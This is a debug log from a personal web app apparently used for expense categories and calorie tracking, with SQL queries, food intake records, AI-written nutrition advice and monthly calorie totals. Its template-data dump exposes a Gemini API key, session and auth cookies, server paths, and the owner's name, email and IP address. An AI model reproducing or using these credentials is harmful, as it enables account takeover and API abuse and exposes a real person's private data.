  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2025-12-16T10:13:38.239Z server-connect:output item_list: [
  {
    id: 402,
    intake_date: '2025-12-15T18:30:00.000Z',
    item_name: "Milk Tea (without sugar, assuming full-fat cow's milk)",
    calories: 48,
    protein_gm: 3,
    carbs_gm: 4,
    fat_gm: 3,
    quantity: 'Half cup (approx 120ml total beverage)',
    replacements: 'Black tea (no milk),Green tea (no milk),Tea with skim milk or unsweetened plant-based milk (almond, soy),Tea with less milk',
    created_at: '2025-12-15T21:00:48.000Z',
    skip_level: 1,
    skip_reason: 'This item provides some protein and calcium from the milk, which are beneficial for muscle development and bone health. By being sugar-free, it avoids empty calories. The moderate fat content from half a cup of full-fat milk is acceptable for an active individual focused on muscle development.'
  },
  {
    id: 403,
    intake_date: '2025-12-15T18:30:00.000Z',
    item_name: 'Idli (light fried)',
    calories: 290,
    protein_gm: 7,
    carbs_gm: 52,
    fat_gm: 8,
    quantity: '4 pieces (approx 200g idli + 6.75g oil)',
    replacements: 'Steamed Idli (no oil),Idli made with very minimal oil spray on a non-stick pan,Idli with a higher proportion of urad dal (lentils) for increased protein content',
    created_at: '2025-12-15T22:15:18.000Z',
    skip_level: 2,
    skip_reason: "While Idli is a good carbohydrate source providing energy for your gym sessions, 'light fried' adds extra fats and calories from the oil. For lean muscle development, it's generally better to consume steamed versions to control fat intake, especially when managing overall calorie intake with a desk job lifestyle."
  },
  {
    id: 404,
    intake_date: '2025-12-15T18:30:00.000Z',
    item_name: 'Ketchup',
    calories: 12,
    protein_gm: 0,
    carbs_gm: 3,
    fat_gm: 0,
    quantity: '1 sachet (approx 12g)',
    replacements: 'Sugar-free ketchup,Homemade fresh tomato salsa or chutney (with minimal added sugar and oil),Herbal chutneys (e.g., mint, coriander) without added sugar',
    created_at: '2025-12-15T22:15:18.000Z',
    skip_level: 3,
    skip_reason: 'Ketchup is typically high in added sugars and provides minimal to no nutritional value (empty calories). Consuming empty calories from added sugars is counterproductive to muscle development goals and overall health, especially when aiming for a lean physique.'
  },
  {
    id: 405,
    intake_date: '2025-12-15T18:30:00.000Z',
    item_name: 'Green Tea',
    calories: 0,
    protein_gm: 0,
    carbs_gm: 0,
    fat_gm: 0,
    quantity: '1 cup (240ml)',
    replacements: '',
    created_at: '2025-12-16T00:00:53.000Z',
    skip_level: 1,
    skip_reason: 'Green tea is rich in antioxidants, boosts metabolism, and is virtually calorie-free, making it an excellent choice for health and fitness goals.'
  },
  {
    id: 406,
    intake_date: '2025-12-15T18:30:00.000Z',
    item_name: 'Milk Sugar Coffee',
    calories: 132,
    protein_gm: 4,
    carbs_gm: 24,
    fat_gm: 2,
    quantity: '1 small serving (approx. 180ml total volume, assumed 120ml toned milk (1.5% fat) and 18g white sugar)',
    replacements: 'Black coffee (no milk, no sugar),Coffee with skim milk (or plant-based milk like unsweetened almond milk) and no added sugar or an artificial sweetener (e.g., stevia),Coffee with reduced sugar (e.g., 1 teaspoon instead of 1.5 spoons)',
    created_at: '2025-12-16T00:00:53.000Z',
    skip_level: 2,
    skip_reason: 'The significant amount of added sugar (18g) contributes empty calories, which are not optimal for muscle development and can hinder fat loss. While toned milk provides some protein, the overall calorie profile is not as nutrient-dense as other options. For muscle development, calories are best sourced from lean protein and complex carbohydrates.'
  },
  {
    id: 407,
    intake_date: '2025-12-15T18:30:00.000Z',
    item_name: 'Roti (Whole Wheat)',
    calories: 375,
    protein_gm: 12,
    carbs_gm: 75,
    fat_gm: 3,
    quantity: '3 medium (approx 40g each, total 120g)',
    replacements: 'Jowar/Bajra/Ragi Roti (similar calories but potentially better nutrient profile, higher fiber),Reduce quantity if carbohydrate intake needs to be controlled, replace with more vegetables or lean protein',
    created_at: '2025-12-16T03:13:04.000Z',
    skip_level: 1,
    skip_reason: 'Good source of complex carbohydrates, providing sustained energy for workouts and muscle recovery. Whole wheat also offers fiber and essential nutrients, which are beneficial for overall health and digestion.'
  },
  {
    id: 408,
    intake_date: '2025-12-15T18:30:00.000Z',
    item_name: 'Aloo Gobi Sabzi',
    calories: 214,
    protein_gm: 3,
    carbs_gm: 18,
    fat_gm: 15,
    quantity: '1 medium bowl (approx 150g, assuming moderate oil)',
    replacements: 'More Gobi (cauliflower), less Aloo (potato) to reduce starch and calories,Cook with minimal oil/ghee or use healthy cooking sprays to reduce fat content,Add more non-starchy vegetables like spinach, carrots, or beans to increase volume and nutrients without excess calories',
    created_at: '2025-12-16T03:13:04.000Z',
    skip_level: 2,
    skip_reason: "Potatoes provide good carbohydrates for energy, and cauliflower is a nutrient-dense vegetable rich in vitamins and fiber. However, this sabzi is often prepared with a significant amount of oil/ghee, which adds a lot of calories and fat. For muscle development, it's beneficial to control fat intake from cooking oils while prioritizing lean protein and complex carbs. A leaner preparation would be more ideal."
  }
]
2025-12-16T10:13:38.240Z server-connect:app Executing action step setvalue
2025-12-16T10:13:38.240Z server-connect:app options: { key: 'var_total', value: "{{item_list.sum('calories')}}" }
2025-12-16T10:13:38.240Z server-connect:output var_total: 1071
2025-12-16T10:13:38.240Z server-connect:app Executing action step setvalue
2025-12-16T10:13:38.240Z server-connect:app options: {
  key: 'var_consumed',
  value: '{{((var_total / requirements.maintenance_calories)*100).round(0)}}'
}
2025-12-16T10:13:38.241Z server-connect:output var_consumed: 45
2025-12-16T10:13:38.241Z server-connect:app Executing action step setvalue
2025-12-16T10:13:38.241Z server-connect:app options: {
  key: 'var_deficit',
  value: '{{requirements.maintenance_calories-var_total}}'
}
2025-12-16T10:13:38.241Z server-connect:output var_deficit: 1329
2025-12-16T10:13:38.242Z server-connect:app Executing action step custom
2025-12-16T10:13:38.242Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT\n' +
      '  ct.intake_date,\n' +
      '  SUM(ct.calories) AS total_consumed,\n' +
      '  COALESCE(cr.maintenance_calories, 0) - SUM(ct.calories) AS surplus_or_deficit,\n' +
      '  CASE\n' +
      '    WHEN SUM(ct.calories) > COALESCE(cr.maintenance_calories, 0) THEN 0\n' +
      '    WHEN SUM(ct.calories) >= COALESCE(cr.target_calories, 0) THEN 1\n' +
      '    ELSE 2\n' +
      '  END AS status_flag\n' +
      'FROM calories_tracking ct\n' +
      'LEFT JOIN (\n' +
      '  -- pick the requirement row that covers TODAY (CURDATE())\n' +
      '  SELECT *\n' +
      '  FROM calories_requirement\n' +
      '  WHERE DATE(start_date) <= CURDATE()\n' +
      '    AND DATE(end_date)   >= CURDATE()\n' +
      '  ORDER BY start_date DESC\n' +
      '  LIMIT 1\n' +
      ') cr ON 1 = 1\n' +
      "WHERE ct.intake_date >= DATE_FORMAT(CURDATE(), '%Y-%m-01')\n" +
      "  AND ct.intake_date <  DATE_ADD(DATE_FORMAT(CURDATE(), '%Y-%m-01'), INTERVAL 1 MONTH)\n" +
      'GROUP BY ct.intake_date\n' +
      'ORDER BY ct.intake_date;',
    params: []
  }
}
2025-12-16T10:13:38.244Z server-connect:output monthly_chart: [
  {
    intake_date: 2025-11-30T18:30:00.000Z,
    total_consumed: '1890',
    surplus_or_deficit: '510',
    status_flag: 1
  },
  {
    intake_date: 2025-12-01T18:30:00.000Z,
    total_consumed: '1094',
    surplus_or_deficit: '1306',
    status_flag: 2
  },
  {
    intake_date: 2025-12-02T18:30:00.000Z,
    total_consumed: '1923',
    surplus_or_deficit: '477',
    status_flag: 1
  },
  {
    intake_date: 2025-12-03T18:30:00.000Z,
    total_consumed: '1851',
    surplus_or_deficit: '549',
    status_flag: 1
  },
  {
    intake_date: 2025-12-04T18:30:00.000Z,
    total_consumed: '2435',
    surplus_or_deficit: '-35',
    status_flag: 0
  },
  {
    intake_date: 2025-12-05T18:30:00.000Z,
    total_consumed: '1055',
    surplus_or_deficit: '1345',
    status_flag: 2
  },
  {
    intake_date: 2025-12-07T18:30:00.000Z,
    total_consumed: '2303',
    surplus_or_deficit: '97',
    status_flag: 1
  },
  {
    intake_date: 2025-12-08T18:30:00.000Z,
    total_consumed: '1571',
    surplus_or_deficit: '829',
    status_flag: 2
  },
  {
    intake_date: 2025-12-09T18:30:00.000Z,
    total_consumed: '1297',
    surplus_or_deficit: '1103',
    status_flag: 2
  },
  {
    intake_date: 2025-12-12T18:30:00.000Z,
    total_consumed: '1882',
    surplus_or_deficit: '518',
    status_flag: 1
  },
  {
    intake_date: 2025-12-13T18:30:00.000Z,
    total_consumed: '404',
    surplus_or_deficit: '1996',
    status_flag: 2
  },
  {
    intake_date: 2025-12-14T18:30:00.000Z,
    total_consumed: '2521',
    surplus_or_deficit: '-121',
    status_flag: 0
  },
  {
    intake_date: 2025-12-15T18:30:00.000Z,
    total_consumed: '1071',
    surplus_or_deficit: '1329',
    status_flag: 2
  }
]
2025-12-16T10:13:47.956Z server-connect:router Serving templateView /calorie-tracker
2025-12-16T10:13:47.957Z server-connect:app Executing action step identify
2025-12-16T10:13:47.957Z server-connect:app options: { provider: 'security' }
2025-12-16T10:13:47.957Z server-connect:output identity: 1
2025-12-16T10:13:47.957Z server-connect:app Executing action step restrict
2025-12-16T10:13:47.957Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-16T10:13:47.958Z server-connect:output restrict: undefined
2025-12-16T10:13:47.958Z server-connect:router Render template layouts/main
2025-12-16T10:13:47.958Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'cache-control': 'max-age=0',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?1',
    'sec-ch-ua-platform': '"Android"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"1348a-9rFLNiGsox9MjSmbkbVSIn/ucM8"',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3ANUYGZxCViiFn3hbivZxlvQ%3D%3D.7O7ZDrIAC%2Bdo%2BBVq%2FKvNYP0VlJySV61M8U2Q6BbIr183p2%2FbCCKCvDtvUQw9Z35i9c7fY75t3g5PHO9RPwrLjwhswEssvvTw%2FJOAIafF%2F64WqIZ9C%2BHrTnvEUtbwcTuKL%2BPZyzWmdYDGtcktbD9gloQ%2B7zJ6tbU32QBlVUqbzHU%3D.yxHT5hsV4F5Ib0FtgytACtlp3EUWwgE7r%2B7jwwTdeqM; your_r_git.sid=s%3AeH00IxRM2C0AdKMakCu4ejLqTGHuH_vq.YzqmC3nBoxOz1Ss6YbblTfYuvbsG67Z2%2FWGzsf2PuOI',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-16T12:38:44.137Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/calorie-tracker',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/calorie-tracker',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"1348a-9rFLNiGsox9MjSmbkbVSIn/ucM8"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3ANUYGZxCViiFn3hbivZxlvQ%3D%3D.7O7ZDrIAC%2Bdo%2BBVq%2FKvNYP0VlJySV61M8U2Q6BbIr183p2%2FbCCKCvDtvUQw9Z35i9c7fY75t3g5PHO9RPwrLjwhswEssvvTw%2FJOAIafF%2F64WqIZ9C%2BHrTnvEUtbwcTuKL%2BPZyzWmdYDGtcktbD9gloQ%2B7zJ6tbU32QBlVUqbzHU%3D.yxHT5hsV4F5Ib0FtgytACtlp3EUWwgE7r%2B7jwwTdeqM; your_r_git.sid=s%3AeH00IxRM2C0AdKMakCu4ejLqTGHuH_vq.YzqmC3nBoxOz1Ss6YbblTfYuvbsG67Z2%2FWGzsf2PuOI',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/calorie-tracker'
}
2025-12-16T10:13:48.536Z server-connect:router Serving serverConnect /api/gemini/get-health-summary
2025-12-16T10:13:48.537Z server-connect:router Serving serverConnect /api/masters/get-items
2025-12-16T10:13:48.538Z server-connect:router Serving serverConnect /api/access-control/user-info
2025-12-16T10:13:48.539Z server-connect:router Serving serverConnect /api/health/todays-calories
2025-12-16T10:13:48.539Z server-connect:app Executing action step identify
2025-12-16T10:13:48.539Z server-connect:app options: { provider: 'security' }
2025-12-16T10:13:48.539Z server-connect:output identity: 1
2025-12-16T10:13:48.539Z server-connect:app Executing action step restrict
2025-12-16T10:13:48.539Z server-connect:app options: { provider: 'security' }
2025-12-16T10:13:48.539Z server-connect:output restrict: undefined
2025-12-16T10:13:48.539Z server-connect:app Executing action step single
2025-12-16T10:13:48.539Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'health_summary' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `summary`, `date` from `health_summary` where `health_summary`.`date` = ?'
  }
}
2025-12-16T10:13:48.540Z server-connect:app Executing action step identify
2025-12-16T10:13:48.540Z server-connect:app options: { provider: 'security' }
2025-12-16T10:13:48.540Z server-connect:output identity: 1
2025-12-16T10:13:48.541Z server-connect:app Executing action step restrict
2025-12-16T10:13:48.541Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-16T10:13:48.541Z server-connect:app Executing action step identify
2025-12-16T10:13:48.541Z server-connect:app options: { provider: 'security' }
2025-12-16T10:13:48.541Z server-connect:output identity: 1
2025-12-16T10:13:48.541Z server-connect:app Executing action step restrict
2025-12-16T10:13:48.541Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-16T10:13:48.542Z server-connect:output summary: {
  summary: {
    rating: 6,
    summary: 'The day showed a mixed approach to nutrition. While there were efforts towards healthier choices like green tea and milk tea without added sugar, the meals included significant carbohydrate sources and moderate fat, which could be more optimized for muscle development and fat loss. Meal timing appeared consistent with regular eating patterns.',
    bad_points: [
      "The carbohydrate content from idli and roti appears substantial for the day's meals.",
      'Protein intake seems to be on the lower side, which is important for muscle development.',
      'The inclusion of ketchup adds unnecessary sugars and processed elements.'
    ],
    good_points: [
      'Inclusion of green tea for hydration and potential metabolic support.',
      'Opting for milk tea without added sugar is a positive choice.',
      'Consistent meal patterns observed.'
    ],
    suggestions: [
      'Increase protein sources with each meal to better support muscle development and satiety.',
      'Incorporate more fiber-rich vegetables and lean protein alongside the rotis and sabzi.',
      'Consider reducing portions of refined carbohydrates like idli and roti, or opting for whole-grain alternatives.',
      'Ensure adequate hydration throughout the day, beyond just tea.'
    ],
    predicted_weight: 70.15,
    predicted_weight_trend: 'gradual decrease'
  },
  date: '2025-12-15T18:30:00.000Z'
}
2025-12-16T10:13:48.543Z server-connect:output restrict: undefined
2025-12-16T10:13:48.543Z server-connect:app Executing action step select
2025-12-16T10:13:48.543Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2025-12-16T10:13:48.544Z server-connect:output restrict: undefined
2025-12-16T10:13:48.544Z server-connect:app Executing action step single
2025-12-16T10:13:48.544Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2025-12-16T10:13:48.545Z server-connect:app Executing action step identify
2025-12-16T10:13:48.545Z server-connect:app options: { provider: 'security' }
2025-12-16T10:13:48.545Z server-connect:output identity: 1
2025-12-16T10:13:48.545Z server-connect:app Executing action step restrict
2025-12-16T10:13:48.545Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-16T10:13:48.546Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2025-12-16T10:13:48.548Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
